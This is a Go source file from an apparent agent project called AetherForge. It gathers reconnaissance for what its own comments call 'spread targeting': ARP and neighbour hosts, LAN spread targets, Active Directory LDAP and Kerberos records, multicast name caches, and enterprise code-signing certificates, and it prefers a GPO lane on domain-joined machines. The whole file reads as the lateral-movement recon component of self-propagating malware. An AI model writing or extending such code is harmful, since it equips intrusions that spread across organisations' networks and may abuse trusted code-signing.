Files
AetherForge/agent/deploy/network_hints.go

151 lines
4.1 KiB
Go

package deploy
import (
"net"
"os"
"strings"
"time"
)
const (
// MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads.
MaxMulticastNameHosts = 32
)
// NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS).
type NameHost struct {
Name string `json:"name"`
IP string `json:"ip,omitempty"`
}
// NetworkHints summarizes passive LAN/domain telemetry for spread targeting.
type NetworkHints struct {
GeneratedAt string `json:"generated_at"`
ArpHosts []string `json:"arp_hosts,omitempty"`
NeighborHosts []string `json:"neighbor_hosts,omitempty"`
SpreadTargets []string `json:"spread_targets,omitempty"`
SpreadTargetCount int `json:"spread_target_count,omitempty"`
DomainName string `json:"domain_name,omitempty"`
DomainJoined bool `json:"domain_joined,omitempty"`
LdapSRV []string `json:"ldap_srv,omitempty"`
KerberosSRV []string `json:"kerberos_srv,omitempty"`
PreferJoinLane string `json:"prefer_join_lane,omitempty"`
EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"`
CodeSignSubject string `json:"code_sign_subject,omitempty"`
LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"`
MDNSHosts []NameHost `json:"mdns_hosts,omitempty"`
MulticastNameCount int `json:"multicast_name_count,omitempty"`
}
// CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache).
func CollectNetworkHints(maxHosts int) NetworkHints {
if maxHosts <= 0 {
maxHosts = 64
}
if maxHosts > MaxSubnetScanHosts {
maxHosts = MaxSubnetScanHosts
}
arp := arpHosts()
neighbors := neighborHosts()
targets := DiscoverLANSpreadTargets(maxHosts)
hints := NetworkHints{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
ArpHosts: capStrings(arp, maxHosts),
NeighborHosts: capStrings(neighbors, maxHosts),
SpreadTargets: targets,
SpreadTargetCount: len(targets),
}
domain := discoverADDomain()
hints.DomainName = domain
ldap, krb, joined := probeDomainSRV(domain)
hints.LdapSRV = ldap
hints.KerberosSRV = krb
hints.DomainJoined = joined
if joined {
hints.PreferJoinLane = "gpo"
}
if present, subject := probeEnterpriseCodeSignCert(); present {
hints.EnterpriseCodeSignCert = true
hints.CodeSignSubject = subject
}
llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts)
hints.LLMNRHosts = llmnr
hints.MDNSHosts = mdns
hints.MulticastNameCount = len(llmnr) + len(mdns)
return hints
}
func capStrings(in []string, max int) []string {
if max <= 0 || len(in) == 0 {
return nil
}
if len(in) > max {
in = in[:max]
}
out := make([]string, len(in))
copy(out, in)
return out
}
func mergeUniqueIPv4(sets ...[]string) []string {
seen := make(map[string]bool)
var out []string
for _, set := range sets {
for _, host := range set {
host = strings.TrimSpace(host)
if host == "" || seen[host] {
continue
}
ip := net.ParseIP(host)
if ip == nil || ip.To4() == nil {
continue
}
seen[host] = true
out = append(out, ip.To4().String())
}
}
return out
}
func discoverADDomain() string {
if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" {
return strings.ToLower(d)
}
return discoverADDomainPlatform()
}
func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) {
domain = strings.ToLower(strings.TrimSpace(domain))
if domain == "" {
return nil, nil, false
}
ldap = lookupSRVHosts("_ldap._tcp." + domain)
kerberos = lookupSRVHosts("_kerberos._tcp." + domain)
joined = len(ldap) > 0 || len(kerberos) > 0
return ldap, kerberos, joined
}
func lookupSRVHosts(name string) []string {
_, addrs, err := net.LookupSRV("", "", name)
if err != nil || len(addrs) == 0 {
return nil
}
seen := make(map[string]bool)
var hosts []string
for _, a := range addrs {
target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".")
if target == "" || seen[target] {
continue
}
seen[target] = true
hosts = append(hosts, target)
}
return hosts
}